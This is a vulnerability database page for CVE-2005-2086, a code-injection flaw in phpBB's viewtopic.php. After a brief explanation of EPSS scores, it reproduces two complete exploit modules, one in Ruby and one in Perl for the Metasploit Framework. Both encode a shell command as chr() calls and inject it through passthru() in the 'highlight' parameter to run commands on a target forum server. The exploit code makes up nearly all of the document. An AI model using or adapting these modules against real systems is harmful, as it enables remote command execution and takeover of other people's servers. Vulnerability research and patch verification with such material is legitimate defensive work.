CVE-2005-2086 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: phpbb_highlight.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpBB viewtopic.php Arbitrary Code Execution', 'Description' => %q{ This module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow an attacker to inject arbitrary code via preg_replace(). This vulnerability was introduced in revision 3076, and finally fixed in revision 5166. According to the "tags" within their tree, this corresponds to versions 2.0.4 through 2.0.15 (inclusive). }, 'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ [ 'CVE', '2005-2086'], [ 'CVE', '2004-1315'], [ 'OSVDB', '11719'], [ 'OSVDB', '17613'], [ 'BID', '14086'], [ 'BID', '10701'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { }], [ 'phpbb <=2.0.10', { }], [ 'phpbb <=2.0.15', { }], ], 'DisclosureDate' => 'Nov 12 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]), OptString.new('TOPIC', [false, "The ID of a valid topic"]), ], self.class) end def find_topic 1.upto(32) do |x| res = send_request_raw({ 'uri' => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) print_status("Discovered valid topic ID: #{x}") return x end end return false end def exploit topic = datastore['TOPIC'] || find_topic if !(topic) print_status("No valid topic ID found, please specify the TOPIC option.") return else sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ 'uri' => datastore['URI'] + req }, 25) print_status("Trying to determine which attack method to use...") if (res and res.body =~ /\<title>phpinfo/) byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e') sploit << "%2527%252epassthru(#{byte})%252e%2527" else byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') sploit << "%27.passthru(#{byte}).%27" end when /2\.0\.10/ byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e') sploit << "%2527%252epassthru(#{byte})%252e%2527" when /2\.0\.15/ byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') sploit << "%27.passthru(#{byte}).%27" end res = send_request_raw({ 'uri' => sploit }, 25) end end end

## # Title: phpBB 2.0.15 arbitrary command execution eXploit # Name: php_phpbb2_0_15.pm # License: Artistic/BSD/GPL # Info: Coded because of boredom. # # - This is an exploit module for the Metasploit Framework, please see # http://metasploit.com/projects/Framework for more information. ## package Msf::Exploit::php_phpbb2_0_15; use base "Msf::Exploit"; use strict; use Pex::Text; use bytes; my $advanced = { }; my $info = { 'Name' => 'phpBB 2.0.15 arbitrary command execution eXploit', 'Version' => '$Revision: 1.0 $', 'Authors' => [ 'str0ke <str0ke [at] milw0rm.com> [Artistic/GPL]' ], 'Arch' => [ ], 'OS' => [ ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'VHOST' => [0, 'DATA', 'The virtual host name of the server'], 'RPATH' => [1, 'DATA', 'Path to the viewtopic script', '/phpBB2/viewtopic.php'], 'TOPIC' => [1, 'DATA', 'viewtopic id', '1'], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits an arbitrary code execution flaw in phpbb 2.0.15. }), 'Refs' => [ ['MIL', '1113'], ], 'Payload' => { 'Space' => 512, 'Keys' => ['cmd', 'cmd_bash'], }, 'Keys' => ['phpbb'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $vhost = $self->GetVar('VHOST') || $target_host; my $path = $self->GetVar('RPATH'); my $topic = $self->GetVar('TOPIC'); my $cmd = $self->GetVar('EncodedPayload')->RawPayload; # Encode the command as a set of chr() function calls my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); # Create the phpBB get request data my $data = "?t=$topic&highlight=%27.". "passthru($byte)". ".%27"; my $req = "GET $path$data HTTP/1.1\r\n". "Host: $vhost:$target_port\r\n". "Content-Type: application/html\r\n". "Content-Length: ". length($data)."\r\n". "Connection: Close\r\n". "\r\n"; my $s = Msf::Socket::Tcp->new( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError){ $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $self->PrintLine("[*] Sending the malicious phpBB Get request..."); $s->Send($req); my $results = $s->Recv(-1, 20); $s->Close(); return; } 1; # milw0rm.com [2005-07-19]